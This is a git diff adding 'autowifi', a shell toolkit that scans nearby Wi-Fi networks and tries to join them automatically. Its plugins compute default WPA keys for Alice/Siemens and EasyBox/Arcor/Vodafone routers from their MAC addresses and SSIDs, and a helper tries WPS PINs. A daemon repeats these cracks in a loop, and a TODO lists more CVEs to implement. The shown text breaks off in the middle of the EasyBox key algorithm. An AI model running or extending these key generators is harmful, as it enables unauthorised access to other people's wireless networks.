autowifi-merged files to recon/autowifi

22 files changed, 945 insertions, 0 deletions

diff --git a/recon/autowifi/.gitignore b/recon/autowifi/.gitignore
new file mode 100644
index 00000000..05ba1603
--- /dev/null
+++ b/recon/autowifi/.gitignore
@@ -0,0 +1 @@
+/etc/autowifi/wifi_keys
diff --git a/recon/autowifi/README.md b/recon/autowifi/README.md
new file mode 100644
index 00000000..3e0d8dce
--- /dev/null
+++ b/recon/autowifi/README.md
@@ -0,0 +1,49 @@
+# Autowifi
+Author: makefu,lassulus
+
+Status: Pre-Alpha - it will most likely break if you try to use it
+
+# Contact
+
+twitter: @krebsbob ,@makefoo 
+
+IRC: freenode #krebs
+
+# Goals
+Goal of autowifi is to provide a tool which automatically can connect to
+networks in an unknown environment.
+
+This can either be done by connecting to open networks, known networks
+(whitelist) or by calculating weak default wpa keys (for example easybox
+default passwords).
+
+# Audience
+Due to the current status of the project the target audience are 
+linux users with technical background .
+
+# Usage
+    
+    # all as root
+    # try to find networks to connect to around you
+    usr/bin/autowifi_dryrun quiet
+
+    # start the autowifi daemon which tries to stay in networks all the time
+    usr/bin/autowifi
+
+# Plugins
+All tests to open up networks are implemented in plugins in
+    usr/lib/autowifi/plugins
+
+## Run a single Plugin
+This can be used for testing purposes, e.g. test a single plugin against given networks directly
+    
+    # try out the easybox keygen
+    usr/lib/autowifi/plugins/02easybox SSID MAC CHANNEL ENCRYPTION(wpa_cli style)
+
+    #e.g.
+    usr/lib/autowifi/plugins/02easybox Easybox-123456 00:11:22:33:44:55 7 "[wpa]"
+
+# Disclaimer
+- use at own risk
+- only run in lab environment
+- you break it, you buy it
diff --git a/recon/autowifi/TODO b/recon/autowifi/TODO
new file mode 100644
index 00000000..ddd59818
--- /dev/null
+++ b/recon/autowifi/TODO
@@ -0,0 +1,9 @@
+more intelligent autoconnect (open first, encrypted second etc.)
+    perform initial scan on startup of unscanned networks
+    sort networks by bandwidth and connect
+profiles ala netcfg/netctl
+better profile hooks
+
+Implement:
+    - Droid Default WPA2 Pass for HotSpot: CVE-2013-4622: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4622
+    - EasyBox 802/803 default WPS Pin: http://packetstormsecurity.com/files/122698/SA-20130805-0.txt
diff --git a/recon/autowifi/usr/bin/autowifi b/recon/autowifi/usr/bin/autowifi
new file mode 100755
index 00000000..6b9a090c
--- /dev/null
+++ b/recon/autowifi/usr/bin/autowifi
@@ -0,0 +1,177 @@
+#!/bin/sh
+cd $(dirname $(readlink -f $0))
+
+
+interface=${interface:-wlan0}
+root=${root:-../../}
+crackdir=$root/usr/lib/autowifi/plugins
+wifi_keys=$root/etc/autowifi/wifi_keys
+wifi_log=$root/var/log/autowifi.log
+painmode=${painmode:-}
+
+# exists() run_hooks()
+. $root/usr/lib/autowifi/lib/core
+
+
+. $root/usr/lib/autowifi/lib/network
+
+# start_wpa_supplicant()
+. $root/usr/lib/autowifi/lib/wpa_supplicant
+
+
+connect(){
+    #mac ssid encryption key
+
+    run_hooks interface pre 
+    run_hooks profile pre 
+
+    connect_wifi "$@" 
+
+    ip_start dhcp 
+
+    if check_gateway && check_internet; then
+        echo yay internet >&2
+
+        run_hooks interface post
+        run_hooks profile post
+
+        write_profile "$@"
+        return 0
+    fi
+    return 1
+}
+write_profile(){
+    bandw=$(check_bandwidth)
+    ( cat $wifi_keys | grep -v '^#' | grep -v "|$1|" ; echo "$2|$1|$bandw|$4" ) | ( echo "#SSID|MAC|BANDWIDTH|KEY";sort )| uniq > "${wifi_keys}2"
+    mv "${wifi_keys}2" "$wifi_keys"
+}
+
+
+find_count_of_ssid(){
+    c=0
+    for i in `seq 1 $WIFI_COUNT`; do
+        eval SSID=\${ESSID_${i}}
+        if [ "$SSID" = "$1" ]; then
+            c+=1
+            echo "$i"
+        fi
+    done
+    if [ $c -eq 0 ];then
+        exit 1
+    fi
+    exit 0
+}
+
+
+connect_to_network_by_ssid(){
+    find_count_of_ssid "$1" | (while read i
+    do
+        loop_over_cracks "$i" && exit 0
+    done;exit 1)
+    if [ $? -eq 0 ]; then
+        exit 0
+    fi
+    echo "no network found :("
+    exit 1
+}
+
+connect_with_pw(){
+    find_count_of_ssid "$1" | (while read i
+    do
+        KEY="$2"
+        eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\"
+        if [ $? -eq 0 ]; then
+            exit 0
+        fi
+    done;exit 1)
+}
+wifi_init(){
+    wpa_supplicant_is_usable || start_wpa_supplicant /tmp/autowifi.wpa_supplicant
+    wifi_scan > /tmp/${interface}.scan
+    . /tmp/${interface}.scan
+}
+loop_over_networks(){
+
+    wifi_init
+    for i in `seq 1 $WIFI_COUNT`; do
+        loop_over_cracks "$i"
+        if [ $? -eq 0 ]; then
+            return 0
+        fi
+    done
+}
+
+loop_over_cracks(){
+    i=$1
+    KEY=''
+    for crack in $(find $crackdir -type f | sort -u); do
+        KEY="$(eval root=$root painmode=$painmode \$crack \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${FREQ_${i}} \${ENCRYPTION_${i}})"
+        if [ $? -eq 0 ]; then
+            eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\"
+            if [ $? -eq 0 ]; then
+                return 0
+            fi
+        fi
+    done
+    return 1
+}
+loop_cracks_over_networks(){
+    wifi_init
+    for crack in $(find $crackdir -type f | sort -u); do
+        for i in `seq 1 $WIFI_COUNT`; do
+            KEY="$(eval root=$root \$crack \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${FREQ_${i}} \${ENCRYPTION_${i}})"
+            if [ $? -eq 0 ]; then
+                eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\"
+                if [ $? -eq 0 ]; then
+                    return 0
+                fi
+            fi
+        done
+    done
+
+}
+
+#scan_all(){
+#    for i in `seq 1 $WIFI_COUNT`; do
+#        loop_over_cracks $i
+#    done
+#}
+#
+#scan_unscanned(){
+#    find_unscanned_networks | (while read i
+#    do
+#        loop_over_cracks $i
+#    done)
+#}
+
+#find_unscanned_networks(){
+#    #TODO broken
+#    for i in `seq 1 $WIFI_COUNT`; do
+#        eval SSID=\${ESSID_${i}}
+#        eval MAC=\${MAC_${i}}
+#        cat $wifi_stats 2>/dev/null | (while IFS='|' read SSID MAC BANDW KEY; do
+#            if [ "$1" = "$SSID" -a "$2" = "$MAC" ]; then
+#                continue
+#            fi
+#        done; echo $i)
+#    done
+#    exit 0
+#}
+
+wifi_init
+if [ -n "$2" ]; then
+    echo connecting to $1 with pw $2
+    connect_with_pw "$1" "$2"
+elif [ -n "$1" ]; then
+    echo connecting to $1
+    connect_to_network_by_ssid "$1"
+else
+    echo looping network now 
+    check_internet || loop_cracks_over_networks
+
+    while sleep 10; do
+        if ! check_gateway; then
+            loop_cracks_over_networks
+        fi
+    done
+fi
diff --git a/recon/autowifi/usr/bin/autowifi_old b/recon/autowifi/usr/bin/autowifi_old
new file mode 100755
index 00000000..55eaefcd
--- /dev/null
+++ b/recon/autowifi/usr/bin/autowifi_old
@@ -0,0 +1,65 @@
+#!/bin/sh -x
+# States (LED):
+#   Blinking   - running wifi plugins
+#   Turned off - connected to wifi
+#   Turned on  - waiting for next scan round
+
+wifi=wlan0
+iface=@wifi-iface[0]
+radio=$(uci get wireless.${iface}.device)
+
+# for connect_wifi
+. /usr/lib/autowifi/lib/openwrt
+
+# for iwlist_scan
+. /usr/lib/autowifi/lib/iwlist
+
+# for check_internet and check_gateway
+. /usr/lib/autowifi/lib/network
+
+crack_wifi(){
+    #SSID MAC CHANNEL ENCRYPTION WPA WPA2
+    all_led timer
+    if [ "$4" == off ];then
+        encr=open
+    elif [ "$6" -eq 1 ]; then
+        encr=psk2
+    elif [ "$5" -eq 1 ]; then
+        encr=psk
+    elif [ "$4" == on ]; then
+        encr=wep
+    fi
+    for hack in $(find /usr/lib/autowifi/plugins -type f); do
+        key=$($hack "$@");
+        ret=$?
+        if [ $ret -eq 0 ];then
+            connect_wifi "$3" "$1" $encr "$key"
+            sleep 20
+            if check_gateway; then
+                (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq  > /etc/autowifi/wifi_keys2
+                mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys
+                echo "yay gateway"
+                check_internet && all_led none && return 0
+            fi
+        fi
+    done
+    return 1
+}
+loop_over_networks(){
+    . /tmp/${wifi}.scan
+    for i in `seq 1 $WIFI_COUNT`; do
+        eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue
+        eval crack_wifi \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break
+    done
+}
+
+iwlist_scan > /tmp/${wifi}.scan
+loop_over_networks
+
+while sleep 60; do
+    if ! check_internet; then
+        all_led on
+        iwlist_scan > /tmp/${wifi}.scan
+        loop_over_networks
+    fi
+done
diff --git a/recon/autowifi/usr/bin/inspector_wifi b/recon/autowifi/usr/bin/inspector_wifi
new file mode 100755
index 00000000..17818b44
--- /dev/null
+++ b/recon/autowifi/usr/bin/inspector_wifi
@@ -0,0 +1,75 @@
+#!/bin/sh
+# Usage; sudo iwlist wlan0 scan | ./inspector_wifi
+#
+#
+set -eu
+
+cd "$(dirname "$(readlink -f "$0")")"
+echo "waiting for iwlist scan data..." >&2
+
+crack_wifi(){
+  for i in ../lib/autowifi/plugins/*;do
+    if RET=$(./$i "$@" 2>/dev/null);then
+      echo "$@ - with crack $i succeeded - Key is $RET"
+    fi
+  done
+}
+
+shell_escape(){
+  sed 's/./\\&/g'
+}
+remove_quotes(){
+  sed 's/^"\|"$//g'
+}
+
+
+iwlist_scan_parser(){
+    count=0
+    while read line;
+    do
+        case "$line" in
+
+            *"Cell "*)
+                if [ $count -ne  0 ];then
+                  crack_wifi "$ESSID" $MAC $CHANNEL any_encryption
+                fi
+                WPA=0
+                WPA2=0
+                : $((count+=1))
+                MAC=${line#*Address: }
+                ;;
+            *Channel:*)
+                CHANNEL=${line#*:}
+                ;;
+            *Quality=*)
+                QUALITY="`printf '%s' ${line#*Quality=} | cut -d/  -f 1`"
+                ;;
+            *"Encryption key:"*)
+                ENCRYPTION=${line#*key:}
+                ;;
+            *ESSID:*)
+              ESSID=$(echo "${line#*ESSID:}" | remove_quotes)
+                ;;
+            *"IE: IEEE 802.11i/WPA2"*)
+                WPA2=1
+                ;;
+            *"IE: WPA Version 1"*)
+                WPA=1
+                ;;
+            *);; #important, do not delete!
+        esac
+    done;
+    crack_wifi "$ESSID" $MAC $CHANNEL any_encryption
+    echo WIFI_COUNT=$count
+}
+
+wifi_init(){
+  iwlist_scan_parser
+}
+
+loop_networks(){
+    for i in `seq 1 $WIFI_COUNT`; do
+        loop_over_cracks "$i"
+    done
+}
+wifi_init
diff --git a/recon/autowifi/usr/bin/iwlist_env b/recon/autowifi/usr/bin/iwlist_env
new file mode 100755
index 00000000..29112ff3
--- /dev/null
+++ b/recon/autowifi/usr/bin/iwlist_env
@@ -0,0 +1,33 @@
+#!/bin/sh
+
+count=0
+
+iwlist scan ${1:-} 2>/dev/null | ( while read line;
+do
+    case "$line" in
+        *"Cell "*)
+            #echo
+            : $((count+=1))
+            echo MAC_${count}="${line#*Address: }"
+            ;;
+        *Channel:*)
+            echo CHANNEL_${count}="${line#*:}"
+            ;;
+        *Quality=*)
+            echo QUALITY_${count}="`printf '%s' ${line#*Quality=} | cut -d/  -f 1`"
+            ;;
+        *"Encryption key:"*)
+            echo ENCRYPTION_${count}="${line#*key:}"
+            ;;
+        *ESSID:*)
+            echo ESSID_${count}="${line#*ESSID:}"
+            ;;
+        *"IE: IEEE 802.11i/WPA2"*)
+            echo WPA2_${count}=1
+            ;;
+        *"IE: WPA Version 1"*)
+            echo WPA_${count}=1
+            ;;
+        *);;
+    esac
+done; echo WIFI_COUNT=$count)
diff --git a/recon/autowifi/usr/lib/autowifi/lib/core b/recon/autowifi/usr/lib/autowifi/lib/core
new file mode 100644
index 00000000..80ae75b4
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/lib/core
@@ -0,0 +1,20 @@
+#!/bin/sh
+
+exists() { type "$1" >/dev/null 2>/dev/null; }
+
+run_hooks(){ 
+    #  (interface|profile) (pre|post)
+    typ=$1
+    action=$2
+    shift;shift
+    : ${interface?please provide interface}
+    if [ "$typ" = "interface" ];then
+        path=interface/$interface/$action
+    else
+        path=profile/$2/$action
+    fi
+    for hook in $(find "$root/etc/autowifi/hooks/$path" -type f 2>/dev/null | sort -u ); do
+        $hook "$@"
+    done
+}
+
diff --git a/recon/autowifi/usr/lib/autowifi/lib/iwlist b/recon/autowifi/usr/lib/autowifi/lib/iwlist
new file mode 100644
index 00000000..a9f77f0c
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/lib/iwlist
@@ -0,0 +1,55 @@
+#!/bin/sh
+
+print_iwlist_env(){
+    # takes environment:
+    #   count
+    #   MAC
+    #   CHANNEL
+    #   QUALITY
+    #   ENCRYPTION
+    #   ESSID
+    #   WPA
+    #   WPA2
+    for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do
+        eval echo ${i}_${count}=\$${i}
+    done
+}
+
+iwlist_scan(){
+    # usage: iwlist_scan $wifi-itf
+    ifconfig $wifi up
+
+    count=0
+    
+    iwlist ${1:-} scan  2>/dev/null | ( while read line;
+    do
+        case "$line" in
+            *"Cell "*)
+                [ $count -eq  0 ] || print_iwlist_env
+                WPA=0
+                WPA2=0
+                : $((count+=1))
+                MAC="${line#*Address: }"
+                ;;
+            *Channel:*)
+                CHANNEL="${line#*:}"
+                ;;
+            *Quality=*)
+                QUALITY="`printf '%s' ${line#*Quality=} | cut -d/  -f 1`"
+                ;;
+            *"Encryption key:"*)
+                ENCRYPTION="${line#*key:}"
+                ;;
+            *ESSID:*)
+                ESSID="${line#*ESSID:}"
+                ;;
+            *"IE: IEEE 802.11i/WPA2"*)
+                WPA2=1
+                ;;
+            *"IE: WPA Version 1"*)
+                WPA=1
+                ;;
+            *);;
+        esac
+    done; print_iwlist_env ;echo WIFI_COUNT=$count)
+}
diff --git a/recon/autowifi/usr/lib/autowifi/lib/network b/recon/autowifi/usr/lib/autowifi/lib/network
new file mode 100644
index 00000000..a0105120
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/lib/network
@@ -0,0 +1,40 @@
+#!/bin/sh
+
+check_gateway(){
+    ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') >/dev/null
+}
+check_internet(){
+    # TODO determine the loader, either wget or curl
+    secret=$(wget -O- http://krebsco.de/secret 2>/dev/null)
+    if [ "$secret" == "1337" ]; then
+        return 0
+    else
+        echo "cannot load secret or secret incorrect" >&2
+        return 1
+    fi
+}
+
+check_bandwidth(){
+    echo $(curl http://www.microsoft.com/africa/4afrika/images/infographic.gif -w "%{speed_download}" -o /dev/null 2>/dev/null | sed 's/\..*//')
+}
+
+ip_start(){
+    : ${interface?interface variable not set} ${1?please provide method to start ip}
+    # usage: method [extra parms]
+    case "$1" in
+        dhcp)
+            if exists dhcpcd; then 
+                dhcpcd -x $interface
+                dhcpcd -w -A $interface
+            elif exists dhclient; then
+                dhclient -x $interface
+                dhclient $interface
+            elif exists udhcpc; then
+                PIDFILE=/var/run/udhcpc-${interface}.pid
+                [ -e $PIDFILE ] && kill `cat $PIDFILE` ||:
+                udhcpc -n -p $PIDFILE -i $interface -s \
+                    "$root/usr/lib/autowifi/opt/udhcpc.run"
+            fi ;;
+        *) echo "do not know ip starter $1" >&2;;
+    esac
+}
diff --git a/recon/autowifi/usr/lib/autowifi/lib/openwrt b/recon/autowifi/usr/lib/autowifi/lib/openwrt
new file mode 100644
index 00000000..3483c1fe
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/lib/openwrt
@@ -0,0 +1,18 @@
+#!/bin/sh
+connect_wifi(){
+    # channel ssid encryption key
+    uci set wireless.${iface}.mode=sta
+
+    ifconfig $wifi up
+    uci set wireless.${radio}.channel=$1
+    uci set "wireless.${iface}.ssid=$2"
+    if [ $3 == "none" ] ; then
+        uci set wireless.${iface}.encryption=none
+        uci -q delete wireless.${iface}.key
+    else
+        uci set "wireless.${iface}.key=$4"
+        uci set wireless.${iface}.encryption=$3
+    fi 
+    uci commit wireless
+    wifi up
+}
diff --git a/recon/autowifi/usr/lib/autowifi/lib/plugin_core b/recon/autowifi/usr/lib/autowifi/lib/plugin_core
new file mode 100644
index 00000000..e79a3c05
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/lib/plugin_core
@@ -0,0 +1,41 @@
+#!/bin/sh
+parse_plugin_args(){
+    [ $# -ne 4 ] && plugin_usage && exit 1
+    # convenience function to put args in ENV variables
+    ESSID="$1"
+
+    # mac is returned without colon
+    MAC=$(printf "%s" "$2" | sed 's/://g')
+    # split up the mac address to vendor and private part
+    VENDOR_MAC=${MAC:0:6}
+    PRIVATE_MAC=${MAC:6:12}
+    CHANNEL="$3"
+    ENC="$4"
+    if [ ${#MAC} -ne 12 ] ;then
+        echo "MAC malformed"
+        exit 1
+    fi
+}
+plugin_usage(){
+    cat << EOF
+usage: $0 ESSID MAC CHANNEL ENC"
+
+    ESSID   - string
+    MAC     - 00:11:22:33:44:55
+    CHANNEL - 4
+    ENC     - wpa
+EOF
+    
+}
+
+check_vendor_mac(){
+  needle="$(printf $1 | tr '[A-Z]' '[a-z]')"
+  shift
+  for i in "$@";do
+    [ "$needle" == "$(printf $i | tr '[A-Z]' '[a-z]')" ] && return 0
+  done
+  return 1
+}
+check_painmode(){
+    test -z "${painmode:-}" && echo "painmode required" && exit 1
+}
diff --git a/recon/autowifi/usr/lib/autowifi/lib/wpa_supplicant b/recon/autowifi/usr/lib/autowifi/lib/wpa_supplicant
new file mode 100644
index 00000000..df9c2155
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/lib/wpa_supplicant
@@ -0,0 +1,59 @@
+#!/bin/sh
+start_wpa_supplicant(){ 
+    wpa_conf=${1?please supply wpa_supplicant.conf path}
+    killall wpa_supplicant
+    sleep 1
+cat>$wpa_conf<<EOF
+ctrl_interface=/var/run/wpa_supplicant
+EOF
+    wpa_supplicant -i $interface -c $wpa_conf -B
+    sleep 4
+}
+connect_wifi(){
+    # bssid ssid encryption-string key
+
+    wpa_cli reconfigure
+
+    int=$(wpa_cli add_network | tail -1)
+    wpa_cli set_network $int ssid \"$2\"
+    wpa_cli set_network $int bssid $1
+    #wpa_cli set_network $int ap_scan 1
+
+    if [ "$3" = "[ESS]" ]; then
+        wpa_cli set_network $int key_mgmt NONE
+    else
+        wpa_cli set_network $int key_mgmt WPA-PSK
+        wpa_cli set_network $int psk \"$4\"
+    fi
+    wpa_cli enable_network $int
+}
+
+wifi_scan(){
+    # usage: iwlist_scan $wifi-itf
+
+    count=0
+    wpa_cli scan >/dev/null
+    sleep 10
+    
+    wpa_cli scan_results 2>/dev/null | egrep "^..:" | sed 's/	/ /g' | (while IFS=' ' read MAC FREQ QUALITY ENCRYPTION ESSID
+    do
+        : $((count+=1))
+        print_wifi_env
+
+    done; echo WIFI_COUNT=$count)
+}
+
+print_wifi_env(){
+    # takes environment:
+    # MAC
+    # FREQ
+    # QUALITY
+    # ENCRYPTION
+    # ESSID
+    for i in MAC FREQ QUALITY ENCRYPTION ESSID;do
+        eval echo ${i}_${count}=\\\"\$"${i}"\\\"
+    done
+}
+wpa_supplicant_is_usable(){
+    wpa_cli status >/dev/null 2>&1
+}
diff --git a/recon/autowifi/usr/lib/autowifi/lib/wps b/recon/autowifi/usr/lib/autowifi/lib/wps
new file mode 100644
index 00000000..5e9bbda7
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/lib/wps
@@ -0,0 +1,84 @@
+#!/bin/sh
+has_wps(){
+    # the-wpa_supplicant-encryption-string
+    echo "$1" | grep  -q "\[WPS\]"
+}
+try_wps_pin(){
+    # 
+    # ESSID MAC CHANNEL ENC WPA WPA2 PIN
+    #set -ef
+    ESSID="$1"
+    MAC="$2"
+    CHANNEL="$3"
+
+    # TODO  refactor to use all the encryption
+    # the wpa_supplicant encryption string
+    ENC="$4"
+
+    PIN="$5"
+
+    [ "$ENC" == "[ESS]" ] && return 2
+    WPA_CONF=/tmp/wpa_trywps.conf
+    WPA_LOG=/tmp/wpa_trywps.log
+    rm $WPA_LOG
+    #mkfifo $WPA_LOG
+    killall wpa_supplicant 2>/dev/null && sleep 1
+	
+    cat > $WPA_CONF <<EOF 
+ctrl_interface=/var/run/wpa_supplicant
+ctrl_interface_group=0
+update_config=1
+EOF
+    wpa_supplicant -Dwext -iwlan0 -c $WPA_CONF -f $WPA_LOG 2>&1 &
+    WPA_PID=$!
+    sleep 2
+    if !(sudo wpa_cli wps_reg $MAC $PIN  | grep -q OK) ;then
+        echo "wpa_cli wps_reg failed, bailing out!"
+        return 1
+    fi
+
+            # association failed
+            #    exit 1 ;;
+    # TODO probably not posix compatible...
+    timeout(){
+      ( timeout=10;
+        while [ $timeout -gt 0 ]; do 
+            sleep 1;
+            kill -0 $$ 2> /dev/null || exit 0; 
+            : $((timeout--));
+        done ;
+        echo "TIMEOUT REACHED" ; 
+        kill $$)&
+       exec $@
+    }
+
+    if (  timeout tail -f $WPA_LOG & echo "TAILPID: $!") | while read line ; do
+        bye(){
+            printf "%s:" "$2" >&2
+            kill $WPA_PID
+            kill -HUP $TAILPID
+            exit $1
+        }
+        # DEBUG
+        #echo $line >&2
+        case "$line" in
+            TAILPID:*)IFS=" " set -- $line; TAILPID=$2;;
+            *"WPS-FAIL msg=10 config_error=18"*) bye 1 "wrong pin";; 
+            *"CTRL-EVENT-EAP-FAILURE EAP authentication failed"*) bye 1 "rate limiting";; 
+            #*"Association request to the driver failed") bye 1 "wps not available";;       
+            #*CTRL-EVENT-DISCONNECTED*):;;
+            *"CTRL-EVENT-DISCONNECTED bssid="*"reason=3 locally_generated=1"*)bye 1 "authentication failed, wps deactivated?";;
+            "TIMEOUT REACHED")bye 1 "timeout reached";;
+            *CTRL-EVENT-TERMINATING*) bye 1 "wpa_supplicant died";;
+            *CTRL-EVENT-CONNECTED*) bye 0 "yay connected";; 
+        esac
+    done ; then
+        #echo "Connected!"
+        sed -n 's/[ \t]*psk="\(.*\)"$/\1/p' "$WPA_CONF"
+        return 0
+    else
+        #echo "failed!"
+        return 1
+    fi
+
+}
diff --git a/recon/autowifi/usr/lib/autowifi/opt/udhcpc.run b/recon/autowifi/usr/lib/autowifi/opt/udhcpc.run
new file mode 100755
index 00000000..2e1b919f
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/opt/udhcpc.run
@@ -0,0 +1,70 @@
+#!/bin/sh
+# shamelessly stolen from http://www.doit.org/udhcpc/S50default
+
+PATH=/bin:/usr/bin:/sbin:/usr/sbin
+
+RESOLV_CONF="/etc/resolv.conf"
+
+update_interface()
+{
+  [ -n "$broadcast" ] && BROADCAST="broadcast $broadcast"
+  [ -n "$subnet" ] && NETMASK="netmask $subnet"
+  ifconfig $interface $ip $BROADCAST $NETMASK
+}
+
+update_routes()
+{
+  if [ -n "$router" ]
+  then
+    echo "deleting routes"
+    while route del default gw 0.0.0.0 dev $interface
+    do :
+    done
+
+    for i in $router
+    do
+      route add default gw $i dev $interface
+    done
+  fi
+}
+
+update_dns()
+{
+  echo -n > $RESOLV_CONF
+  [ -n "$domain" ] && echo domain $domain >> $RESOLV_CONF
+  for i in $dns
+  do
+    echo adding dns $i
+    echo nameserver $i >> $RESOLV_CONF
+  done
+}
+
+deconfig()
+{
+  ifconfig $interface 0.0.0.0
+}
+
+case "$1" in
+  bound)
+    update_interface;
+    update_routes;
+    update_dns;
+  ;;
+
+  renew)
+    update_interface;
+    update_routes;
+    update_dns;
+  ;;
+
+  deconfig)
+    deconfig;
+  ;;
+
+  *)
+    echo "Usage: $0 {bound|renew|deconfig}"
+    exit 1
+    ;;
+esac
+
+exit 0
diff --git a/recon/autowifi/usr/lib/autowifi/plugins/00profile b/recon/autowifi/usr/lib/autowifi/plugins/00profile
new file mode 100755
index 00000000..d7fb9c75
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/plugins/00profile
@@ -0,0 +1,11 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
+# ENV:
+#   root (default: /)
+root=${root:-/}
+cat $root/etc/autowifi/wifi_keys 2>/dev/null | (while IFS='|' read SSID MAC BANDWIDTH KEY; do
+    if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then
+        echo $KEY
+        exit 0
+    fi
+done; exit 1)
diff --git a/recon/autowifi/usr/lib/autowifi/plugins/01open b/recon/autowifi/usr/lib/autowifi/plugins/01open
new file mode 100755
index 00000000..881f47ea
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/plugins/01open
@@ -0,0 +1,6 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION 
+if [ "$4" == "[ESS]" ]; then
+    exit 0
+fi
+exit 1
diff --git a/recon/autowifi/usr/lib/autowifi/plugins/02alice b/recon/autowifi/usr/lib/autowifi/plugins/02alice
new file mode 100755
index 00000000..1b4533a4
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/plugins/02alice
@@ -0,0 +1,20 @@
+#!/bin/sh
+# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm:
+# Based on Poc from 
+#    http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html
+#
+#
+# ESSID MAC CHANNEL ENCRYPTION 
+
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+
+parse_plugin_args "$@"
+
+! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1
+
+# printf always makes string to lower, need that for correct md5sum
+ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) 
+TMP=$(printf $ETHMAC | md5sum)
+printf ${TMP:0:12} | base64
+exit 0
diff --git a/recon/autowifi/usr/lib/autowifi/plugins/02easybox b/recon/autowifi/usr/lib/autowifi/plugins/02easybox
new file mode 100755
index 00000000..3d7cb8c1
--- /dev/null
+++ b/recon/autowifi/usr/lib/autowifi/plugins/02easybox
@@ -0,0 +1,37 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
+
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+parse_plugin_args "$@"
+
+if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then
+    echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone" 
+    exit 1
+else
+
+    # Fill up to 4 places with zeros, if necessary:
+    deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g')
+    #
+    # The digits M9 to M12 are just the last digits (9.-12.) of the MAC:
+    hexi=$(echo ${MAC:8:4} | sed 's/./& /g')
+    #echo 'M4 (Hex): ' ${hexi[@]}
+    # K1 = last byte of (d0 + d1 + h2 + h3)
+    # K2 = last byte of (h0 + h1 + d2 + d3)
+    c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1})
+    c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1})
+    K1=$((($c1)%16))
+    K2=$((($c2)%16))
+    #printf "K1: %x\n" $K1
+    #printf "K2: %x\n" $K2
+    X1=$((K1^${deci:6:1}))
+    X2=$((K1^${deci:4:1}))
+    X3=$((K1^${deci:2:1}))
+    Y1=$((K2^0x${hexi:2:1}))
+    Y2=$((K2^0x${hexi:4:1}))
+